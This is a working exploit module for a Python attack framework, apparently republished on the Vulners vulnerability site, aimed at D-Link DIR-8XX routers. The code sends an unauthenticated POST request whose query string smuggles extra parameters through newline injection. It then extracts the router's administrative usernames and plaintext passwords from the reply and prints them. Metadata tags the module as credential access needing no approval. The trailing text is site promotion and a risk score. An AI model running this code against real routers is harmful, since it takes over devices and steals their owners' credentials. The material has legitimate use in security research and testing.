D-Link DIR-8XX Password Disclosure
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DIR-8XX Password Disclosure"""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Auxiliary, Http_client):
__info__ = {
'name': 'D-Link DIR-8XX Password Disclosure',
'description': 'Module exploits D-Link DIR-8XX password disclosure vulnerability, which allows retrieving administrative credentials.',
'author': ['Hack2Win', 'Peter Geissler', 'Marcin Bury'],
'platform': Platform.LINUX,
'references': ['https://blogs.securiteam.com/index.php/archives/3310', 'https://blogs.securiteam.com/index.php/archives/3364', 'https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin'],
'tags': ['iot', 'router', 'disclosure', 'credentials', 'unauth', 'auxiliary'],
'agent': {
'risk': 'active',
'effects': ['credential_access', 'data_exfiltration'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['credentials', 'risk_signals'],
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
def run(self):
self.credentials = []
if self.check():
print_success("Target seems to be vulnerable")
print_table(("User ID", "Username", "Password"), *self.credentials)
else:
print_error("Exploit Failed - Target does not seem to be vulnerable")
def check(self):
headers = {
"Content-Type": "text/plain;charset=UTF-8",
"Content-Length": "0"
}
response = self.http_request(
method="POST",
path="/getcfg.php?A=A%0a_POST_SERVICES%3dDEVICE.ACCOUNT%0aAUTHORIZED_GROUP%3d1",
headers=headers
)
if response is None:
return False
usrids = re.findall("<usrid>(.*?)</usrid>", response.text)
usernames = re.findall("<name>(.*?)</name>", response.text)
passwords = re.findall("<password>(.*?)</password>", response.text)
if usrids or usernames or passwords:
self.credentials = [creds for creds in zip(usrids, usernames, passwords)]
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
5.8Medium risk
Vulners AI Score5.8